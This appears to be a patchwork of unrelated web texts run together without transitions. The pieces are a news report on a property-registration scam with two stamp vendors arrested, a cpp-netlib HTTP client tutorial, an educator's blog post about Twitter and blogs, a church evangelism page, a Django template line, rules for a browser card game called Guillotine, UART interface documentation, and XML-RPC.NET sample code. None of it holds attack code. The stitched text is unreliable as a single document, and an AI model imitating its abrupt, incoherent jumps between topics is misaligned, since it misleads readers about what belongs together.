- C:/Users/Alex/Dropbox/_Dev/Concurrency/Tempo/src/Tempo/Events.cs


Revenue scam: Two stamp vendors held, many fear arrest
by Umesh R YadavThe Central Crime Branch (CCB) has arrested two stamp paper vendors for allegedly helping sub-registrars register revenue sites to private parties and manipulating the software used for property registration.
R Rangaswamy (49), a resident of Peenya, and Keshava (39), a resident of T Sadarahalli, are the arrested suspects. They both are stamp paper vendors at Laggere and Dasanapura sub-registrar offices.
A senior police officer said the duo was working as middlemen. They would help the sub-registrars in identifying agriculture land under the green zone, buying them from farmers and converting and developing them as layouts, and selling the layouts to private parties.
CCB officials questioned seven sub-registrars on Monday, and they would be summoned again for further interrogation.
It is learnt that after sub-registrars had obtained anticipatory bail, more staffers, including data entry operators, engineers and other sub-registrars, have applied for anticipatory bail fearing arrest.
It is alleged that nearly 50 government officials are involved in this scam.
A special team has been sent to Pune to gather details about the Centre for Development of Advanced Computing (C-DAC) software.
After they return, more information would be gathered on the scam, said a senior police officer.


Im ready to play, invite me find me
Already invited by Stan Peters
You love one page & CSS only stuff? check this pen "Pure CSS One page vertical navigation"


The first code example is the simplest thing you can do with the cpp-netlib. The application is a simple HTTP client, which can be found in the subdirectory libs/network/example/http_client.cpp. All we are doing is creating and sending an HTTP request to a server and printing the response body.
Without further ado, the code to do this is as follows:
#include <boost/network/protocol/http/client.hpp>
#include <iostream>
int main(int argc, char *argv[]) {
using namespace boost::network;
if (argc != 2) {
std::cout << "Usage: " << argv[0] << " [url]" << std::endl;
return 1;
}
http::client client;
http::client::request request(argv[1]);
request << header("Connection", "close");
http::client::response response = client.get(request);
std::cout << body(response) << std::endl;
return 0;
}
To be build this example, you can follow the steps below without having to build the whole cpp-netlib distribution:
$ cd ~/cpp-netlib
$ g++ -o http_client1 libs/network/example/http_client1.cpp \
> -I. \
> -I$BOOST_ROOT \
> -L$BOOST_ROOT/stage/lib \
> -lboost_system \
> -pthread
You can then run this to get the Boost website:
$ ./http_client1 http://www.boost.org/
Since this is the first example, each line will be presented and explained in detail.
#include <boost/network/protocol/http/client.hpp>
All the code needed for the HTTP client resides in this header.
http::client client;
First we create a client object. The client abstracts all the connection and protocol logic. The default HTTP client is version 1.1, as specified in RFC 2616.
http::client::request request(argv[1]);
Next, we create a request object, with a URI string passed as a constructor argument.
request << header("Connection", "close");
cpp-netlib makes use of stream syntax and directives to allow developers to build complex message structures with greater flexibility and clarity. Here, we add the HTTP header “Connection: close” to the request in order to signal that the connection will be closed after the request has completed.
http::client::response response = client.get(request);
Once we’ve built the request, we then make an HTTP GET request throught the http::client from which an http::response is returned. http::client supports all common HTTP methods: GET, POST, HEAD, DELETE.
std::cout << body(response) << std::endl;
Finally, though we don’t do any error checking, the response body is printed to the console using the body directive.
That’s all there is to the HTTP client. In fact, it’s possible to compress this to a single line:
std::cout << body(http::client().get(http::request("http://www.boost.org/")));
Next we’ll develop a simple client/server application using http::server and http::client.


Twitter chats are often the first point of entry for developing a PLN. It was where I began. I randomly followed some people who had “Education” in their profile, which led me to #edchat which led me to more people with “education” in their profiles. I built a large group of people I could connect with on various issues.
The problem with this approach is that you tend to only talk with people you agree with. We give the other end of our tin can phone to friends.
One-way following on Twitter is dangerous because you can choose which voices you want to hear and which you can virtually ignore. This leads to echo-chambers, reinforcement of confirmation biases, and growth stagnates. I was able to get ideas about what to teach, but I struggled to find reasons for why I should teach the what.
This topic is timely because I just connected with Tobey Steeves, a Canadian educator who caught my attention with this tweet:
Hi @Math_Johnson, will you be discussing #flipclass as a technocratic diminution of teachers' work? I certainly hope so… [ #bcdl2014 ]
— Tobey Steeves (@symphily) April 8, 2014
I have spent a great deal of my professional life working within and writing on Flipped Learning. When someone wants to talk about the “technocratic diminution” of teaching, I pay attention. Tobey and I have sent a few tweets back and forth and he’s already sent me some literature from Pablo Friere on the “pedagogy of banking.” Tobey is now a part of my network so I can continue to learn from him.
Another influencer on my mind lately is Dr. Sugata Mitra. From what I know, I’m not a big fan. An article in Wired magazine outlined his “hole in the wall” project, which hints at the idea that teachers are obsolete. I’m struggling with that idea.. Two things I’ve realized: 1) How presumptuous am I to think that I know better than an education researcher? 2) Before I can really disagree, I need to know more about his research. I’ve followed his Twitter account and bookmarked his blog.
Blogs: the windows to deeper thought, conflict, and (sometimes) civilized debate. 140 characters is difficult to leverage into an effective medium for debate. Tone is impossible in snippets; implied tone can be mistaken and defenses are raised before you can get to the heart of the conflict. Blogs, on the other hand, allow for exploration of thought as well as more time for the reader to digest those ideas. I can engage with a blog without feeling like I need to engage immediate with the author. I can take time to formulate an opinion and respond with a well thought out comment.
I’m not a fan of exposition on the web. I also struggle when writing is exceptionally heavy-handed in tone. The biggest addition to my RSS reader is Ira Socol. To be completely honest, he pushes my buttons sometimes, especially when it comes to the role of technology in the classroom…which is exactly why I need to be reading his blog more.
Ira has been writing and tweeting about grit lately, so I decided to jump in. His post on Angela Duckworth, Galton, Nazis, and eugenics is not only long (3,800 words), but a deep dive into why I need to pay more attention to education rhetoric. I don’t agree with everything he says about grit, but I’ve been prompted to learn more.
What’s next? I’m not sure. The horizon is always there…even though we can chase that dividing line, we’ll never catch up to its secrets. The great thing is through opening our lines of communication through blogs, Twitter, LinkedIn, whatever, we’ll have people who can look over the edge and whisper those secrets back to us. We’re only as good as our connections: the good, the bad, and the ugly.
Written on April 10th, 2014 by Brian Bennett Categorized in: All MAET
Leave a comment


About Us
Over the years of doing evangelism in New York City, we have met people from all over the world. There are many ways to evangelize- there is personal evangelism, which is a one on one encounter with people telling them about Christ. There is friendship evangelism which is developing relationships with people and bringing them to a church service. One of the most popular is giving away tracts to someone as they pass by.
What we do is called "prayer station evangelism" which incorporates all these aspects. It’s personal, it’s friendship, and it’s also giving away tracts and many times new testaments.
In recent years, we have also been doing a lot of preaching and teaching with Friends of God Ministry, whose founder is Nick Vacaro. This is a church service that is held in a diner in Brooklyn, NY. It is amazing that we are allowed to hold a service in a diner with hundreds of people. Please feel free to look at the gallery page were you will see us fellowshipping together.
In His Grace,
Pastor James J. Sloven


{% extends 'base.html' %} {% block title %}Password Reset done{% endblock title %} {% block content %}
We have sended you reset password link on your email. Please Check Your Email.


Day 1
Player One
Player Two
Placeholder.
Guillotine - Rules for Play
Welcome to Guillotine! When the page loads, click the "New Game" button to begin play.
The browser will now do several things.
It will advance the day tracker to Day 1 (the entire game lasts for three days).
It will deal out 12 nobles from the deck of noble cards, and put them in the line for the guillotine.
It will deal out four action cards for each player. As it is Player One's turn first, his/her cards will be shown on screen now, and Player Two's cards will not show up yet. Only the player whose turn it is will have their action cards displayed on screen.
An individual turn of Guillotine has two steps.
First, the player must play an action card. I'll outline how this works.
Scroll down to the bottom of the screen. You'll see your list of action cards - each player starts the game with four.
Every card has a title, at its top, and a description underneath of what that card does.
Some cards need to modify a specific card in the noble line. For instance, take "Friend of the Queen", which moves a noble backwards two places in line.
For this card to function, you will need to click on one noble card in line that you want to move back two spaces, click on "Friend of the Queen" (or the relevant noble card) and then click on the "Use Selected Action Card" button.
Other cards act on their own, and do not need to modify a selected card in the noble line.
Some of these cards, like "Escape!", modify all the cards in the noble deck. Click on "Escape!" and then click on the "Use Selected Action Card" button, and the action card's effect will take place.
Other cards of this type are cards like "Church Support", which award bonus points for each noble you have selected that fits into a specific class - blue, gray, purple, red or green.
It is also acceptable not to use an action card in an individual turn! If you want, you can simply skip this step - and then you'll have an extra action card to play with next turn.
The next and final step of a turn in Guillotine is to collect the noble at the top of the noble line. To do this, simply click the button above the noble line that reads "Execute" and the noble's point value will be added to your score!
Your turn is now over! It's now your opponent's turn to go through the same process.
After the entire noble line is empty, the day of play is over. If you've just finished the first or second day, the game will give you a score update and then redeal 12 more nobles into the noble line to start the process all over again.
Note that at the end of a day, you will keep your same hand of action cards to start the next day.
After the end of the third day, the game is over! The player with the most points wins.


Interface of an Uart.
More...
#include <xpcc/architecture/interface/uart.hpp>
|
| enum | Baudrate : uint32_t {
B300,
B600,
B1200,
B1800,
B2400,
B4800,
B9600,
B14400,
B19200,
B28800,
B38400,
B57600,
B76800,
B115200,
B230400,
B250000,
B500000,
B1000000
} |
| | Commonly used baudrates. More...
|
| |
|
| template<class SystemClock , uint32_t baudrate, uint16_t tolerance = Tolerance::OnePercent> |
| static void | initialize () |
| | Initializes the hardware and sets the baudrate. More...
|
| |
|
static void | writeBlocking (uint8_t data) |
| | Write a single byte and wait for completion.
|
| |
|
static void | writeBlocking (const uint8_t *data, std::size_t length) |
| | Write a block of bytes and wait for completion.
|
| |
|
static void | flushWriteBuffer () |
| | Flush the write buffer, waits in a while loop until isWriteFinished() returns true
|
| |
| static bool | write (uint8_t data) |
| | Pushes a single byte into the buffer. More...
|
| |
| static std::size_t | write (const uint8_t *data, std::size_t length) |
| | Pushes a block of bytes into the buffer. More...
|
| |
| static bool | isWriteFinished () |
| |
| static bool | read (uint8_t &data) |
| | Read a single byte. More...
|
| |
| static std::size_t | read (uint8_t *data, std::size_t length) |
| | Read a block of bytes. More...
|
| |
| static std::size_t | discardReceiveBuffer () |
| | Empty the receive FIFO queue and hardware buffer. More...
|
| |
| static std::size_t | discardTransmitBuffer () |
| | Empty the transmit FIFO queue and hardware buffer. More...
|
| |
| template<uint32_t available, uint32_t requested, uint16_t tolerance> |
| static void | assertBaudrateInTolerance () |
| | Since baudrates are usually generated by prescaling a system clock, only several distinct values can be generated. More...
|
| |
Asynchronous and synchronous, buffered access to the Uart.
- Author
- Niklas Hauser
◆ Baudrate
Most Serial-to-USB converters only support baudrates up to 115200 Baud
◆ initialize()
template<class SystemClock , uint32_t baudrate, uint16_t tolerance = Tolerance::OnePercent>
| static void xpcc::Uart::initialize |
( |
| ) |
|
|
static |
- Template Parameters
-
| SystemClock | the currently active system clock |
| baudrate | desired baud rate in Hz |
| tolerance | the allowed absolute tolerance for the resulting baudrate |
◆ write() [1/2]
| static bool xpcc::Uart::write |
( |
uint8_t |
data | ) |
|
|
static |
- Returns
true
if data has been buffered, false
if buffer is full
◆ write() [2/2]
| static std::size_t xpcc::Uart::write |
( |
const uint8_t * |
data, |
|
|
std::size_t |
length |
|
) |
| |
|
static |
- Parameters
-
| data | Pointer to a buffer big enough to store length bytes |
| length | Number of bytes to be written |
- Returns
- the number of bytes pushed into the buffer, maximal
length
◆ isWriteFinished()
| static bool xpcc::Uart::isWriteFinished |
( |
| ) |
|
|
static |
- Returns
true
if the buffer is empty and the last byte has been sent
◆ read() [1/2]
| static bool xpcc::Uart::read |
( |
uint8_t & |
data | ) |
|
|
static |
- Parameters
-
| [out] | data | Byte read, if any |
- Returns
true
if a byte was received, false
otherwise
◆ read() [2/2]
| static std::size_t xpcc::Uart::read |
( |
uint8_t * |
data, |
|
|
std::size_t |
length |
|
) |
| |
|
static |
- Parameters
-
| [out] | data | Pointer to a buffer big enough to store length bytes |
| length | Number of bytes to be read |
- Returns
- Number of bytes which could be read, maximal
length
◆ discardReceiveBuffer()
| static std::size_t xpcc::Uart::discardReceiveBuffer |
( |
| ) |
|
|
static |
- Returns
- the size of the deleted FIFO queue.
◆ discardTransmitBuffer()
| static std::size_t xpcc::Uart::discardTransmitBuffer |
( |
| ) |
|
|
static |
- Returns
- the size of the deleted FIFO queue.
The documentation for this class was generated from the following file:


This Map hilights pot holes on your Roads
Click on the red dots to see the pot hole
Source code:https://github.com/manish-sin/pothole_heatmap


XML-RPC.NET Samples |
Cook Computing |
This example builds three assemblies.
This assembly contains the definition of the interface to be used by both client and server.
public struct StateStructRequest { public int state1; public int state2; public int state3; } public interface IStateName { [XmlRpcMethod("examples.getStateName")] string GetStateName(int stateNumber); [XmlRpcMethod("examples.getStateStruct")] string GetStateNames(StateStructRequest request); }
This assembly contains the implementation of the IStateName interface and also an entry point for when the assembly is used as a standalone server (it can also be used in IIS).
The class implementing the server's functionality inherits from MarshalByRefObject so that it can be used with .NET Remoting and of course the interface that the client will use.
public class StateNameServer : MarshalByRefObject, IStateName { [XmlRpcMethod("examples.getStateName")] public string GetStateName(int stateNumber) { // implementation } [XmlRpcMethod("examples.getStateStruct")] public string GetStateNames(StateStructRequest request) { // implementation }
}
The Main function configures Remoting via a config file (to specify that both XML-RPC and SOAP are supported) and then registers the server class, specifying a URL and the mode under which the server will operate.
class _ { static void Main(string[] args) { RemotingConfiguration.Configure("StateNameServer.exe.config"); RemotingConfiguration.RegisterWellKnownServiceType(
typeof(StateNameServer), "statename.rem", WellKnownObjectMode.Singleton); Console.WriteLine("Pressto shutdown"); Console.ReadLine(); } }
The config file is named StateNameServer.exe.config and is placed in the same directory as the executable assembly. The file specifies both XML-RPC and SOAP support by including two formatter elements under the serverProviders element of the channel element. The channel is specified as http and the port on which the server will listen as 5678.
<configuration> <system.runtime.remoting> <application> <channels> <channel ref="http" port="5678"> <serverProviders> <formatter type="CookComputing.XmlRpc.XmlRpcServerFormatterSinkProvider, CookComputing.XmlRpc" /> <formatter ref="soap" /> </serverProviders> </channel> </channels> </application> </system.runtime.remoting> </configuration>
This assembly contains the client. A command line argument is used to specify whether the request to the server will be via the SOAP or XML-RPC protocol. In the case of SOAP a default instance of HttpChannel is used but for XML-RPC the instance of HttpChannel is configured to use the XML-RPC formatter sink instead.
The Activator is used to create a Transparent Proxy bound to the required URL and the call to the server is made via this proxy.
class _ { static void Main(string[] args) { bool bUseSoap = false; if (args.Length > 0 && args[0] == "SOAP") bUseSoap = true; HttpChannel chnl; if (bUseSoap) chnl = new HttpChannel(); else chnl = new HttpChannel(null, new XmlRpcClientFormatterSinkProvider(), null); ChannelServices.RegisterChannel(chnl); IStateName svr = (IStateName)Activator.GetObject( typeof(IStateName), "http://localhost:5678/statename.rem"); int stateNumber = 1; string ret = svr.GetStateName(stateNumber); Console.WriteLine("statename ({0}) is {1}", stateNumber, ret); } }
Depending on requirements Remoting server classes may be run under IIS. A virtual directory is created and the assemblies placed in its bin directory. The config file is called web.config in this case and specifies two aspects of the server: the service element specifies the server class and its URL, and the channels element specifies that two formatters are supported, the default SOAP formatter and the XML-RPC formatter.
<configuration> <system.runtime.remoting> <application> <service> <wellknown mode="Singleton" type="StateNameServer, StateNameServer" objectUri="statename.rem" /> </service> <channels> <channel ref="http"> <serverProviders> <formatter type="CookComputing.XmlRpc.XmlRpcServerFormatterSinkProvider, CookComputing.XmlRpc" /> <formatter ref="soap" /> </serverProviders> </channel> </channels> </application> </system.runtime.remoting> </configuration>
Obviously the URL used by the client should be changed to connect to IIS, for example:
IStateName svr = (IStateName)Activator.GetObject(typeof(IStateName), "http://localhost/statename/statename.rem");
This is a WinForms application which connects to the sample XML-RPC server at betty.userland.com.It calls both examples.getStateName and examples.getStateStruct. In the case of the latter function it only allows 3 state numbers to be specified even though the struct passed in the XML-RPC call can contain any number of state numbers.
Note that if you need to connect to external HTTP servers via a proxy server, if this is configured correctly in Internet Explorer XML-RPC.NET will use the proxy server.
This WinForms sample illustrates how to make asynchronous XML-RPC calls using XML-RPC.NET. .
By using a separate instance of a proxy class derived from XmlRpcClientProtocol it is possible to send multiple requests concurrently. As the response to each request is received the result is displayed in the list box, along with any exceptions.
This is a WinForms application which connects to an instance of the MathService XML-RPC server (see below for description of service). It calls the methods math.Add, math.Subtract, math.Multiply, and math.Divide.
This sample illustrates the use of the XmlRpcClientProtocol component within Visual Studio. The component has been added to the Toolbox and then dragged onto the design-template of the form. Because the component is not GUI-based it appears in a separate window below the template.
Each method of the service is represented by a proxy function in the form class:
[XmlRpcMethod("math.Add")] public int Add(int a, int b) { return (int)xmlRpcClient.Invoke(this, "Add", new object[] {a,b}); }
The methods are called as follows:
private void butAdd_Click(object sender, System.EventArgs e) { Cursor = Cursors.WaitCursor; try { labResult.Text = ""; int a = Convert.ToInt32(txtArg1.Text); int b = Convert.ToInt32(txtArg2.Text); int result = Add(a, b); labResult.Text = txtArg1.Text + " + " + txtArg2.Text + " = " + result.ToString(); } catch (Exception ex) { HandleException(ex); } Cursor = Cursors.Default; }
This sample exposes 4 XML-RPC methods - math.Add, math.Subtract, math.Multiply, and math.Divide - each of which takes two integer parameters. An XML-RPC fault response is returned if divide-by-zero is attempted.
To install MathService, create a virtual directory in IIS and place MathService.dll and CookComputing.XmlRpc.dll in a sub-directory called bin. In the virtual directory create a file called web.config with this content:
<configuration> <system.web> <httpHandlers> <add verb="*" path="math.rem" type="MathService.MathService, MathService" /> </httpHandlers> </system.web> </configuration>The URL for the service will be of the form:
http://servername/virtual_directory/math.aspx
Please check this page for URLs of currently available demo XML-RPC Services.
| © Charles Cook, 2001,2002, 2003 All Rights Reserved. |
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January 2003
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